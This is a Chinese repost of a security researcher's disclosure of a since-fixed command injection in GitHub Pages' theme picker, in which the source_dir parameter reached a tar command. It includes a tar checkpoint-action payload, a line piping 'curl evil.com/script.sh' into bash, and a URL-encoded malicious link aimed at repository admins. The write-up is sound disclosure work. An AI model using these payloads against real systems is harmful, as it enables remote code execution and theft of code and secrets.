标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-3169]   作者: 小螺号 发表于: [2022-09-01]

本文共 [133] 位读者顶过

GitHub 页面

GitHub Pages是一个静态内容托管服务。它允许用户在username.github.io或自定义域中托管其存储库的内容。它广泛用于托管简单的静态页面,例如文档和博客(例如,此博客托管在 GitHub Pages 上)。

为了帮助用户托管好看的内容,GitHub Pages 支持Jekyll,一个静态站点生成器平台。使用 Jekyll,您不必为博客编写 HTML 和 CSS,但您可以编写 Markdown,Jekyll 会为您将其转换为 HTML 文件。为了更轻松地在网站上应用相同的模板和样式,Jekyll 支持主题

Jekyll 站点的所有设置(例如主题)都存储在 YAML 配置文件中。GitHub Pages 自动化了部分 Jekyll 设置(包括设置一些设置)。

设置 Jekyll 主题

在存储库的 GitHub Pages 设置中,有一个主题选择器 部分:

 

顾名思义,这会自动执行选择 Jekyll 主题的过程。

更改主题按钮链接到:

https://github.com/owner/repo/settings/pages/themes?select=&source=main&source_dir=/

此 URL 作为三个参数:

  • select是当前选择的主题(如果已经选择了主题)。
  • source是分支设置中选择的分支。
  • source_dir是分支设置中选择的目录。

如果我们点击更改主题 按钮,我们会被带到一个显示多个 Jekyll 主题预览的新网页:

 

请注意,访问此页面需要存储库的管理权限。我们稍后讨论这个。

当我们选择完一个主题并点击选择主题 按钮后,GitHub 会发出一个POST请求:

POST /owner/repo/settings/pages/theme HTTP/2
Host: github.com
...

_method=put&authenticity_token=some_token&page[theme_slug]=cayman&source=main&source_dir=/

在这里,我们再次看到source和source_dir参数。由于我们无法在主题选择器页面上更改这些值,因此必须直接从将我们带到此页面的链接中获取这些值。

在POST请求之后,GitHub 会自动创建一个新的提交来更改 Jekyll 主题。GitHub 在分支上的source_dir目录中进行这些更改。source反过来,这个提交会触发一个新的 GitHub Pages 构建。下一节将对此进行更多介绍。

在页面设置中,我们只能指定两个目录:(/即分支的根目录)和/docs.

但是如果我们在主题选择器 URL 中指定另一个目录会发生什么?事实证明,这是可接受的行为,GitHub 将使用我们提供的任何目录名称作为源。例如,如果我们使用一个深奥的目录名称,例如source_dir=/"test" test test>,GitHub 将在以下位置创建一个基本的 Jekyll 设置/"test" test test>:

[出自:jiwo.org]

如果我们自己不这样做,GitHub 甚至可以很好地启用 GitHub Pages 并创建目录。

简而言之,我们可以指定任意目录作为 GitHub Pages 源。

部署 GitHub 页面

GitHub Pages 构建实际上只是GitHub Actions工作流程,由三个作业组成:

build

  1. 查看存储库的来源 ( actions/checkout@v2)。

  2. 运行 Jekyll 将源文件转换为静态文件 ( actions/jekyll-build-pages@v1)。

  3. 上传静态文件 ( actions/upload-pages-artifact@v0)。

  4. report-build-status:发送有关构建处理的遥测数据 ( actions/deploy-pages@v1)。

  5. deploy: 部署静态文件 ( actions/deploy-pages@v1)

actions/upload-pages-artifact很有趣,因为上传工件最常发生在另一个操作 ( actions/upload-artifact) 中。两者有什么区别?

的代码actions/upload-pages-artifact@v0向我们展示了actions/upload-pages-artifact实际使用actions/upload-artifact,但首先运行tar命令:

...
  steps:
    - name: Archive artifact
      shell: bash
      run: |
        tar \
          --dereference --hard-dereference \
          --directory ${{ inputs.path }} \
          -cvf ${{ runner.temp }}/artifact.tar \
          --exclude=.git \
          .
    - name: Upload artifact
      uses: actions/upload-artifact@main
      with:
        name: github-pages
        path: ${{ runner.temp }}/artifact.tar
        retention-days: ${{ inputs.retention-days }}

如果我们查看成功 Pages 部署的 GitHub Actions 管道日志(我们将目录设置为),我们会在命令/docs中看到变量的值:tar

tar \
    --dereference --hard-dereference \
    --directory ./docs/_site \
    -cvf /home/runner/work/_temp/artifact.tar \
    --exclude=.git \
    .

这告诉我们inputs.path等于.<the direcotry we specify>/_site和runner.temp等于/home/runner/work/_temp。

在上一节中,我们看到我们可以完全控制目录名称,并且因为 Linux(GitHub Actions 运行器上使用的操作系统)几乎允许目录名称中的每个字符,我们可以将目录名称设置为任何我们想要的。如果我们将目录设置为类似的内容会发生什么/ --asdf=?这会将tar命令更改为以下命令吗?

tar \
    --dereference --hard-dereference \
    --directory ./ --asdf=/_site \
    -cvf /home/runner/work/_temp/artifact.tar \
    --exclude=.git \
    .

是的,它会的:

正如我们所见,--asdf它被解释为命令行参数,而不是目录名的一部分。我们发现了命令注入。

任意代码执行tar

tar有一个名为Checkpoints的功能,我们可以使用它来运行任意命令。将--checkpoint=1 --checkpoint-action="exec=<command>"参数添加到tar命令将使其<command>对每个已处理的文件执行。

手册页

--checkpoint[=N]
        Display progress messages every Nth record (default 10).

--checkpoint-action=ACTION
        Run ACTION on each checkpoint.

作为测试,让我们执行id. 我们希望tar命令看起来像:

tar \
    --dereference --hard-dereference \
    --directory ./ --checkpoint=1 --checkpoint-action="exec=id" --exclude=_site \
    -cvf /home/runner/work/_temp/artifact.tar \
    --exclude=.git \
    .

这意味着我们的有效负载(即我们指定的目录名称)是/ --checkpoint=1 --checkpoint-action="exec=id" --exclude=. 我们使用主题选择器将目录名称设置为有效负载并等待管道命中tar命令:

伟大的!我们已经成功实现了任意代码执行。

旁注: 使用--checkpoint-action是实现代码执行的一种方式,但不是唯一的方式。由于我们可以完全控制输入,我们可以退出tar命令并执行任意命令。但是通过使用--checkpoint-action,tar命令(以及整个管道)仍然会成功,从而使攻击对受害者来说不那么明显。

示例攻击

现在,您可能会想:"您以管理员身份在 GitHub Actions 运行程序上发现了命令注入漏洞。大不了。所以呢?运行用户指定的任意代码正是 CI 运行器的用途。你只是找到了一种通过额外步骤来完成它的方法。"

你是对的。但是,使这种可利用的原因是它可以通过 URL 触发。

假设我们是一名攻击者,想要访问公司私人仓库中的代码。我们可以利用这个漏洞来访问代码:

  1. 我们制作了一个恶意负载:

    / --checkpoint=1 --checkpoint-action="exec=curl -s evil.com/script.sh | bash" --exclude=

    .

    • 此有效负载从攻击者控制的服务器下载并执行脚本。
  2. 我们制作了一个恶意 URL(带有 URL 编码的有效负载):

    https://github.com/company/privatecode/settings/pages/themes?source=non-existent-branch&source_dir=%2F%20%2D%2Dcheckpoint%3D1%20%2D%2Dcheckpoint%2Daction%3D%22exec%3Dcurl%20%2Ds%20evil%2Ecom%2Fscript%2Esh%20%7C%20bash%22%20%2D%2Dexclude%3D
  3. company/privatecode我们将 URL 发送给存储库的管理员。

  4. 管理员单击该链接并遵循选择主题的正常过程(即单击"选择主题"按钮)。

  5. 我们等待 GitHub Actions 管道运行tar命令并执行我们的代码。

  6. 我们拥有对存储库的完全访问权限。

当然,这里最大的警告是存储库管理员对用户交互的要求。但是,有一些补偿因素:

  • 此攻击适用于未启用 GitHub Pages 的存储库,因为它是自动启用的。
  • 指定的分支不需要存在,因为它是自动创建的。
  • 用户只需要按照选择主题(即单击一个按钮)的正常流程来触发攻击。
  • 攻击者不需要拥有 GitHub 帐户。

其他攻击

除了读取存储库中的代码外,GitHub Actions 运行器上的代码执行还允许一些其他攻击:

  • 提取传递给跑步者的任何秘密(例如ACTIONS_ID_TOKEN_REQUEST_TOKEN)。
  • 在受害者的 GitHub Pages 网站上发布任何内容。
  • 以受害者为代价执行一些恶意计算(例如加密挖掘)。

解决问题

GitHub 通过删除主题选择器功能解决了这个问题。页面设置现在显示"了解如何将 Jekyll 主题添加到您的网站":

来源:https://blog.nietaanraken.nl/posts/github-pages-command-injection/


评论

暂无
发表评论
 返回顶部 
热度(133)
 关注微信